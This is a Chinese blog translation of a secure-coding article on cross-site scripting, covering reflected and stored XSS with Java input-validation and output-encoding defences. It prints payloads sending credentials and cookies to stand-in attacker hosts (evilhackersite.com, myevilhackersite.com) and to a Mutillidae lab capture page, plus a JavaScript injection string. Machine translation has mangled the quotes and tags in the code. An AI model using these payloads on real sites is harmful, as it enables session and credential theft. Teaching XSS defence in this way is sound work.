安全编码实践之二:跨站脚本攻击防御

声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

文章来源:https://medium.com/bugbountywriteup/how-to-write-secure-code-b2757b59cd4b

如何编写安全代码?保护自己免受跨站点脚本攻击!

过去几个月我一直致力于安全代码实践,我一直在努力与社区讨论易于采用的方法。我们每天看到的不安全代码的数量确实令人震惊,我们都同意“预防胜于治疗”。

保持我们的代码和应用程​​序安全的最佳方法是从一开始就正确编程。编写安全代码并不困难或复杂,只需要程序员知道在哪里包含安全检查。这是几行额外代码的问题,但仅此一项就可以抵御针对您的应用程序的大量攻击。

我们来挖掘吧!

因此,这篇特别的文章“如何编写安全代码?”专注于跨站点脚本问题。

只要应用程序获取不受信任的数据并将其发送到Web浏览器而没有正确的验证和转义,就会发生跨站点脚本漏洞。XSS允许攻击者在受害者的浏览器中执行脚本,这些脚本可能会劫持用户会话,破坏网站或将用户重定向到恶意网站。

下面的代码是发生XSS攻击的示例之一,所采用的输入未经过清理,并且直接传递给参数。

String firstNameParameter =(String)
request.getParameter(“firstName”);

用户输入的值立即存储在局部变量fi​​rstNameParameter中,然后在HTTP响应中将值发送到浏览器,而不进行任何输出编码。

在本文中,我将介绍几种不同类型的攻击和方法,即您每天面临的攻击和方法以及可用于防止它们的方法: 

1.反射XSS

它一次针对一名受害者进行追踪,当恶意负载传递给受害者并且他们最终点击恶意URL并让黑客访问他们的cookie和其他数据时,可以看到它在行动中。

这里是有效载荷的示例,如果受害者执行该攻击,则攻击者可以访问其详细信息。

https://mybank.com/submitForm.do?customer= 
<script> 
function + stealCredentials()
 { 
location.href =“ www.evilhackersite.com?name = document.myform.username.value 
&password = document.myform.pword .value“ 
} 
</ script>
//整个脚本将作为url传递。
//它已被提出以增强可读性。

另一个例子是我们访问一个密码生成器的网页。乍一看,页面看起来不容易受到任何攻击,因为我们所要做的就是按“生成密码”按钮。

我们打开我们的burp-suite并在我们的代理选项卡中拦截请求。我们将其发送到转发器选项卡以检查请求查询和相应的响应查询。下面的图像是我们传递的第一个请求,我们可以观察到我们在请求查询中传递的用户名会反映在响应查询中。

现在我们知道,用户名反映给我们,我们可以使用我们的有效负载注入值字段。现在唯一需要的是我们如何设计有效负载,以便我们可以按预期执行命令。

“; catch(e){} alert('inject'); try(a =”//我们的有效载荷

 

 上图显示了请求和附加有效负载的响应查询,似乎已经成功。我们对整个有效负载进行url编码,然后通过代理选项卡再次发送,并检查我们在浏览器中收到的结果。

在代理选项卡中传递有效内容

 

正如预期的那样,我们会收到一个警告框,该框显示在浏览器中,表明攻击有效负载已经起作用。

2.存储XSS

当代码被注入正在托管的服务器端程序时,就会发生此攻击。因此,每当用户导航到特定网页或链接时,他们就是存储的XSS攻击的受害者。

存储的XSS攻击可以按如下方式执行,如果页面上的图像以这样的方式注入:每当页面加载恶意脚本(如下所示)时加载而不是图片,然后抓取用户的cookie。

<script> newImage()。src =“ http://myevilhackersite.com/login.cgi?c= "+encodeURI(document.cookie ) ; </ script>
//我们的有效载荷

存储的XSS的另一个例子如下: 

在我们旁边的登录页面中,输入test作为用户名和密码。我们所做的每件事都记录在日志数据库中。我们可以继续检查日志数据库,在那里我们可以看到注册了测试用户名的失败登录尝试。因此,如果用户名没有被清理并直接保存在日志中,那么我们可以利用它来发起存储的XSS攻击。

 

我们在用户名字段中传递以下有效负载,以查看我们是否能够执行XSS攻击。

<script> document.location =“ http://192.168.56.103/mutillidae/index.php?page=capture-data.php&c=”+ document.cookie </ script>

只要我们在用户名框中传递我们的有效负载并打开日志文件,我们就可以清楚地看到cookie存储在那里,正如我们所希望的那样。

因此,现在每当有人打开日志文件时,他们的cookie值将被发送到capture-data.php页面,然后存储数据。

保卫你的代码!

我们已经详细讨论了如何利用我们的代码在网站上执行恶意XSS攻击。我们可以采取的步骤如下: -

输入验证

  • 验证应仅在服务器端执行,绝不应在客户端完成。
  • 我们可以允许用户使用的白名单和黑名单。我们可以利用常规的正则表达式或基于框架的反XSS函数来增强安全性。
  • 代码示例

而不是直接使用和接收参数“firstName”。

String firstNameParameter =(String)
request.getParameter(“firstName”);
  • 在分配给变量firstNameParameter之前,首先将其传递给正则表达式
private final String MY_DATAVALIDATION_WHITELIST =“[a-zA-Z] *”;
public boolean mustPassWhiteListCheck(String clientSideParameter)抛出
WhiteListFailureException
{ 
boolean checkValue = false;
checkValue = Pattern.matches(MY_DATAVALIDATION_WHITELIST,clientSideParameter);
if(checkValue == false)
{ 
   throw new WhiteListFailureException(“Possible Attack !!!”); 
} 
return checkValue; 
}

输出编码

  • 中和HTTP响应中包含的任何误解释的字符
  • 将字符转换为数据而不是执行恶意脚本
  • URL编码 - 用一个或多个字符三元组替换字符串中的字符
  • 三元组:%后跟两个其他十六进制数字,例如:%2e这是“。”
  • 输出编码代码示例

下面的代码是没有执行编码的代码。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ 
request.getParameter(“firstName”)+“</ BODY> </ HTML>”);

现在我们将对上面的代码进行小的修改,在输入被我们的正则表达式杀菌剂消毒之后,我们将把值传递给print语句。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ Encoder()。
encodeForHTML(sanitisedFirstNameVariable)+“</ BODY> </ HTML>”);
  • 输出编码网页上下文

至少我们需要为这些值执行URL编码: -

a)HTML正文

b)HTML属性

c)URL

d)JavaScript

e)级联样式表

道德

XSS是一种危险的攻击,可以自动搜索XSS。存储和反射的XSS可能会对应用程序造成严重损害。防止这些攻击的最基本方法之一是执行适当的输入验证和输出编码。正确实现这两个功能可以帮助我们有效防御XSS攻击。

 

posted @ 2019-04-09 13:40  Bypass  阅读(1283)  评论(0编辑  收藏  举报